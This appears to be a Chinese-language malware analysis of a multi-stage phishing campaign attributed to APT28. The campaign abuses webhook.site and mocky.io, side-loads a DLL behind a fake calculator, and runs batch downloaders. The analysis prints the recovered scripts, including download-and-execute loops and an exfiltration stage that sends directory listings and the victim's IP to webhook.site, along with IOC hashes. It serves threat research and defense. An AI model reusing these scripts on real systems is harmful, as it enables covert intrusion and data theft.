一、前言
此次分析样本来源于开源威胁情报,样本单链路多阶段执行,使用了白加黑、测加载等技术,其中所有C2均使用非自有第三方合法资源托管恶意载荷。
这可能是考虑于免杀成本、安全策略绕过等原因,对这类广撒网的恶意邮件投递也不再直接投递远控本体,也是近年许多APT组织战术手法的发展趋势。
二、背景
据信APT28是有俄罗斯国家背景的黑客组织,此类手法首次曝光于某国计算机应急响应小组报告中。
三、病毒样本分析
3.1 概述
样本执行流程如下,涉及样本IOC在文章末尾。
3.2 第一阶段,利用非自有域名下发恶意载荷
钓鱼邮件原件如图,文本内容诱导收件人点击链接下载恶意载荷,链接地址为托管了恶意资源的合法网站“run.mocky.io/{唯一标识符}”(详情见IOC)
此地址是开发人员创建和测试API的免费服务,RURL“run.mocky.io/{唯一标识符}”指向的API功能为重定向至域名地址“webhook.site”。
hxxps://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=2d07e34c-3dd3-45e8-865c-3888a65ab885
hxxps://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=127df518-52be-46c5-bbb2-0479f4b9693b
hxxps://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
此手法在2024年4月被安全机构报道被APT28利用如下,通过此合法网站API重定向继续访问后续恶意资源,此次发现样本下载的后续恶意载荷有变化。
4月案例API信息如下。
四月案例情报原文
https://twitter.com/StopMalvertisin/status/1653441365496459270
说回此次样本,被API重定向至“webhook.site/{唯一标识符}”(详情见IOC)下载的恶意ZIP存档。
hxxps://webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
hxxps://webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba
“Webhook.site”是合法的测试和调试类工具网站,用户可以在此网站获取唯一url,并自定义响应,包括设置响应的HTTP状态码、响应头以及响应体的内容。
攻击者可以利用Webhook.site的这些功能,通过生成的唯一URL托管恶意资源。使用非自有域名,恶意链接的隐蔽性和安全性都更高,降低被检测为恶意链接的风险。
3.3 第二阶段,白加黑、测加载执行“.bat”下载者
下载到压缩包文件名为“IMG-{随机数}.zip”,解压获取一个“.jpg”文件,实际上也是个压缩包,再次解压可获取三个文件。
- “IMG-{随机数}.jpg.exe“伪造计算器图标、图片后缀的exe程序,用于加载“.dll”
- ”WindowsCodecs.dll“,无导出函数动态链接库,dllmain函数用于加载bat
- skrypt .bat,下载着
部分文件设置了迷惑性后缀和文件隐藏属性,关闭文件管理相关选项差异如下,目的是为了诱导用户点击伪装的“.jpg.exe”文件。
用户运行“IMG-{随机数}.jpg.exe”,此程序基本信息如下。
本身不包含无害功能,为计算器程序。
导入表加载同路径文件“WindowsCodecs.dll”导出函数“WICCreateImagingFactory_Proxy”。
但实际上“WindowsCodecs.dll”中并无此导出函数,核心功能位于DllMain函数中,加载同路径文件“zdesdyf.bat”。
脚本打开Microsoft Edge浏览器下载后续恶意载荷,url为“webhook.site/{唯一标识符}”,并移动和重命名文件至%programdata%\IMG-{随机数}.cmd,最后执行此脚本。完成后做善后工作删除自身。
@echo off //关闭命令行回显
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit //判断环境变量,最小化窗口启动当前脚本
//启动Microsoft Edge浏览器,显示指定内容,下载恶意资源
start msedge data:text/html;base64,<title>IMG-7214532.jpg</title><iframe src="https://webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>
//暂停脚本执行15秒钟。
timeout 15 > nul
//移动文件从下载目录到程序数据目录
move %userprofile%\downloads\IMG-7214532.jpg %programdata%\IMG-7214532.cmd > nul
//创建空文件以覆盖原有文件
type nul > %userprofile%\downloads\IMG-7214532.jpg
//调用指定的CMD文件执行
call %programdata%\IMG-7214532.cmd
//删除当前脚本并退出
del /q /f /a %0 & exit
3.4 第三阶段 “ .cmd”下载者
由二阶段下载并执行的文件“%programdata%\IMG-{随机数}.cmd”如下。此脚本周期5分钟循环执行,与二阶段类似的打开Microsoft Edge浏览器下载恶意载荷,url为“webhook.site/{唯一标识符}”下载至"%%userprofile%%\Downloads*.css",移动、重命名为"%%programdata%%\xxxx.cmd" ,并执行,删除自身和执行流程中产生的文件。
@echo off & (
echo On Error Resume Next
echo CreateObject("WScript.shell").Run "^""%%programdata%%\\dee016bf-21a2-45dd-86b4-6099747794c4.bat^"^^"", 0, False
echo Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & echo del %%0 ^& for /l %%%%n in () do (
chcp 65001 ^& timeout 300 ^& taskkill /im msedge.exe /f ^& timeout 5 ^& del /q /f "%%userprofile%%\Downloads\*.css" ^& start "" msedge --headless=new --disable-gpu data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZGVlMDE2YmYtMjFhMi00NWRkLTg2YjQtNjA5OTc0Nzc5NGM0Iik7PC9zY3JpcHQ+ ^& timeout 30 ^& taskkill /im msedge.exe /f ^& move /y "%%userprofile%%\Downloads\*.css" "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& call "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& del /q /f "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd"
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.bat" & (
echo ^<!DOCTYPE html^>^<html^>^<body^>^<script^>var xhr = new XMLHttpRequest^(^);var text = String.raw^`)
) > "%programdata%\uaxhexd.tab" & (
echo ^`;xhr.open^(^'PUT^', ^'https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4^'^);xhr.setRequestHeader^(^'Content-Type^', ^'text/html^'^);xhr.send^(text^);^</script^>^</body^>^</html^>
) > "%programdata%\ohqddqtqc.tsv" & start "" "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & del %0
3.4 第四阶段 “ .cmd” 脚本C2通信
由第三阶段载荷下载、移动、重命名、运行的文件"%%programdata%%\xxxx.cmd",为cmd命令集文件,cmd命令集如下。
//初始化,关闭命令回显、设置cmd编码为UTF-8,终止edge浏览器进程
@echo off
chcp 65001
taskkill /im msedge.exe /f
//调用dir例出指定目录信息,出口IP,重定向到至bwjxyeysed.diff
(dir "%userprofile%\.." & dir "%userprofile%\Desktop" & dir "%userprofile%\Downloads" & dir "%userprofile%\Documents" & dir "%ProgramFiles%" & dir "%ProgramFiles(x86)%" & curl -k https://ipinfo.io) > "%programdata%\bwjxyeysed.diff"
//模糊匹配全部.tab、.diff 和 .tsv后缀文件,整合至nydgflyhuv.html
copy "%programdata%\*.tab" + "%programdata%\*.diff" + "%programdata%\*.tsv" "%programdata%\nydgflyhuv.html"
//将路径写入文件,并设置为环境变量
(echo %programdata%) > "%programdata%\gjvrexfiac"
set /p gjvrexfiac=<"%programdata%\gjvrexfiac"
//暂停5s
timeout 5
//解析html时会发送数据
start "" msedge --headless=new --disable-gpu "file:///%gjvrexfiac%/nydgflyhuv.html"
timeout 30
//善后工作
taskkill /im msedge.exe /f
del /q /f "%userprofile%\Downloads\*.css"
del /q /f "%programdata%\gjvrexfiac"
del /q /f "%programdata%\*.diff"
del /q /f "%programdata%\nydgflyhuv.html"
脚本会搜集信息(指定文件目录信息,出口IP地址)发送至C2,并完成痕迹清理的善后工作。
这里C2时在第三阶段中XMLHttpRequest定义的, URL地址为非自有域名 "https://webhook.site/c6xxxxa32-xxx-xxxx-8151-8d0002b5xxxx"
关键代码整理如下。
第四阶段的C2通信有不同的脚本功能,此次下载到的样本用于信息搜集,也可能有其他不同的功能脚本。
四、 IOC
745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 IMG-0601181.zip
598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 WindowsCodecs.dll
ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac hzjtajjklr.bat
96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc IMG-0601181.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 daukbpnawvkfcjcfzu.css
4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 IMG-89848928.zip
ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a WindowsCodecs.dll
d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e jxfgibtfxiewsdvmeg.bat
b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd IMG-89848928.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 cvywrkrhhfzza.css
5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc IMG-3907894910429.zip
0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 WindowsCodecs.dll
e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 bmpxjphdzwommblflx.bat
750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 IMG-3907894910429.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 qseybqanfkus.css
谢谢读者观看~
攻击者越来越多地使用合法资源和复杂的多阶段执行策略来增加攻击的隐蔽性和成功率。这对防御方提出了更高的要求,蓝队需要更加智能化和综合的安全措施来应对这些高级威胁。